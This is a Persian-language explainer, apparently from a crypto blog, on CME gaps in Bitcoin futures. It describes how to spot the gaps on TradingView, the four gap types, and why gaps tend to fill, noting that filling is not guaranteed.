در بازار بورس کالای شیکاگو، می‌توان بیت کوین را از هر منطقه‌ای در دنیا به‌صورت شبانه‌روزی، معامله کرد. بااین‌حال، این بازار نیز مانند بسیاری از بازارهای بزرگ سنتی در دنیا در روزهای آخر هفته یا برخی ایام سال، تعطیل است. این در حالی است که در برخی از بازارها مانند بایننس، همچنان، معاملات بیت کوین در حال انجام است. به‌این‌ترتیب، با وجود بسته بودن این بازار در بازه روزهای جمعه تا صبح روز دوشنبه، قیمت بیت کوین به حرکت خود در بازار ادامه داده است. این روند سبب میشود که در زمان باز شدن بازار بورس کالای شیکاگو ، شاهد پدیده‌ای به نام گپ قیمت CME یا به‌اختصار گپ CME باشیم.
تأثیرگذاری گپ CME بر انواع گپ (Gap) در نمودار قیمت بیت کوین
اتفاقی که در بازار بورس کالای شیکاگو پس از یک گپ قیمت CME رخ میدهد این است که معمولا قیمت‌ها پس از مدتی به نزدیکی قیمتی که با آن در آخر هفته گذشته بسته‌شده بودند، بازمی‌گردد. به‌طور مثال، اگر در پایان روز جمعه، قیمت بیت کوین با ۱۹۰۰۰ دلار بسته شود و دوشنبه با ۱۶۰۰۰ دلار باز شود، حرکت بازار در ساعات یا روزهای آتی به سمت بازگرداندن قیمت به ۱۹۰۰۰ دلار بوده و بنابراین، نمودار بیت کوین صعودی خواهد شد.
چگونه می‌توان این گپ ها را در نمودار پیدا کرد؟
برای پیدا کردن گپهای قیمتی CME ابتدا باید نمودار CME را در سایت TradingView باز کنید. پس از وارد شدن به این سایت، عبارت BTC1 را تایپ کرده و از نتایج پیشنهادشده، روی اولین نتیجه حاوی عبارت BTC1 کلیک کنید. به‌این‌ترتیب، نمودار آتی BTC CME باز خواهد شد.
پس از باز شدن نمودار می‌توان گپها را در بازه‌های زمانی مختلف، مانند یک‌ساعته، چهارساعته، روزانه و غیره مشاهده کرد. با تنظیم تاریخ و بازه زمانی، روی نمودار زوم کرده و جاهای خالی که همان گپها هستند را پیدا کنید. البته، نباید انتظار داشت که هر آخر هفته، شاهد یک گپ CME باشیم. این شکاف‌ها تنها زمانی اتفاق می‌افتند که بیت کوین، یک حرکت قوی در روزهای آخر هفته از خود نشان داده باشد.
CME بیت کوین چیست؟
گپ بیت کوین که به‌اختصار به آن بیت گپ نیز گفته میشود، تفاوت بین قیمت‌های معاملاتی قراردادهای آتی بیت کوین در زمان باز شدن بازار CME در روز یکشنبه و بسته شدن آن در روز جمعه هستند. این امر، به دلیل تعطیلی بازار CME در روزهای آخر هفته و روزهای تعطیل، با وجود ادامه داشتن معاملات بیت کوین در دیگر بازارها مانند صرافیهای ارز دیجیتال ازجمله بایننس، اتفاق میافتد. گپ های بیت کوین نیز معمولا پر میشوند. به این معنی که قیمت نقطه‌ای در روز گشایش بازار معمولا طی چند ساعت تا چند هفته به قیمت پیش از تعطیلی آن برمی‌گردد.
آیا گپ ها همیشه بسته میشوند؟
تجربه نشان میدهد که همه گپها همیشه بسته یا پر نمی‌شوند. گپهای خستگی بیشتر از بقیه احتمال پر شدن دارند چراکه نشان‌گر پایان یک روند قیمتی و درواقع، شروع یک روند معکوس هستند. این در حالی است که گپهای فرار و شکست به‌ندرت پر میشوند چراکه درواقع، ماهیت آنها تائیدکننده روند فعلی نمودار است.
نکته دیگر، مدت‌زمانی است که طول می‌کشد که یک شکاف قیمتی، پر شود. این مسئله به‌اندازه گپ نیز بستگی دارد. برخی گپها در طول اولین روز بازگشایی بازار و برخی دیگر در روزها، هفته‌ها و حتی ماه‌های بعدی، پر میشوند. تخمین زده میشود که حتی در مورد شکاف‌های اغلب پرشونده مانند شکاف‌های خستگی، حدود ۵ درصد شکاف‌ها پر نمی‌شوند. بنابراین، معامله بر اساس شکاف‌های قیمتی در آینده، خالی از ریسک نیست.
چرا شکاف های CME پر می شوند؟
گپ CME، اغلب تمایل به پر شدن دارد. هنوز دلیل این امر، مشخص نشده است؛ بااین‌حال، نه‌فقط در مورد بیت کوین یا بازار CME بلکه در تمامی بازارهای مالی، مانند بورس و غیره گپ‌هایی که با سازوکاری مانند گپ قیمت CME ایجاد میشوند، تمایل به پر شدن دارند. شاید دلیل اصلی آن این باشد که درواقع، گپ ایجادشده نه به علت یک اتفاق واقعی در فضای کریپتو بلکه تنها به دلیل تعطیلی چندروزه بازار، اتفاق افتاده است.
یک احتمال دیگر برای پر شدن گپ CME این است که قیمت معامله‌شده پیش از وقوع گپ، همواره به‌عنوان قیمت منصفانه بازار بیت کوین، معتبر شناخته میشود. علاوه بر این، فعالان بازار، احتمالا قراردادهای انواع گپ (Gap) در نمودار خود را با قیمت قبلی، باز یا بسته می‌کنند و ازاین‌رو، باعث پر شدن شکاف میشوند. بااین‌حال، باید گفت که پر شدن گپهای CME همیشه هم قطعی نیست و حتی در بسیاری از موارد، به‌صورت کامل هم اتفاق نمی‌افتد.
سخن آخر
شکاف قیمتی، یکی از اتفاقات معمول در بازارهای معاملاتی مالی ازجمله بازارهای ارز دیجیتال است. این پدیده، زمانی رخ میدهد که در یک بازه قیمتی مشخص، حجم معاملات صفر یا بسیار کم باشد. چهار نوع شکاف قیمتی شناخته‌شده عبارت‌اند از معمولی، فرار، شکست و خستگی که برخی از آنها مانند معمولی و خستگی، احتمال پر شدنشان بیشتر است. پر شدن یک گپ به معنی بازگشت تدریجی قیمت، به قیمت پیش از وقوع گپ است.
ازجمله گپهای شناخته‌شده در بازار ارز دیجیتال، گپ CME است که به‌طور اختصاصی، مربوط به بازار بورس کالای شیکاگو است. در این بازار، بیت کوین نیز معامله شده و به دلیل بسته بودن آن در روزهای آخر هفته، اغلب شاهد گپ در این بازه هستیم. گپ قیمت CME معمولا به‌راحتی و ظرف مدت چند روز، پر میشود.
سوالات متداول
گپ cme چیست؟
CME مخفف عبارت Chicago Mercantile Exchange و به معنی بازار بورس کالای شیکاگو است. این بازار، بزرگ‌ترین بازار خریدوفروش مشتقات مالی در جهان محسوب میشود. در بازار بورس کالای شیکاگو، می‌توان بیت کوین را از هر منطقه‌ای در دنیا به‌صورت شبانه‌روزی، معامله کرد. بااین‌حال، این بازار نیز مانند بسیاری از بازارهای بزرگ سنتی در دنیا در روزهای آخر هفته یا برخی ایام سال، تعطیل است. این در حالی است که در برخی از بازارها مانند بایننس، همچنان، معاملات بیت کوین در حال انجام است. به‌این‌ترتیب، با وجود بسته بودن این بازار در بازه روزهای جمعه تا صبح روز دوشنبه، قیمت بیت کوین به حرکت خود در بازار ادامه داده است. این روند سبب میشود که در زمان باز شدن بازار بورس کالای شیکاگو ، شاهد پدیده‌ای به نام گپ قیمت CME یا به‌اختصار گپ CME باشیم.
انواع گپ ها در تحلیل تکنیکال کدامند؟
گپ، شامل چهار نوع اصلی معمولی، شکست، فرار و خستگی است که در این مقاله مفصلا به توضیح هر یک از این موارد می پردازیم.
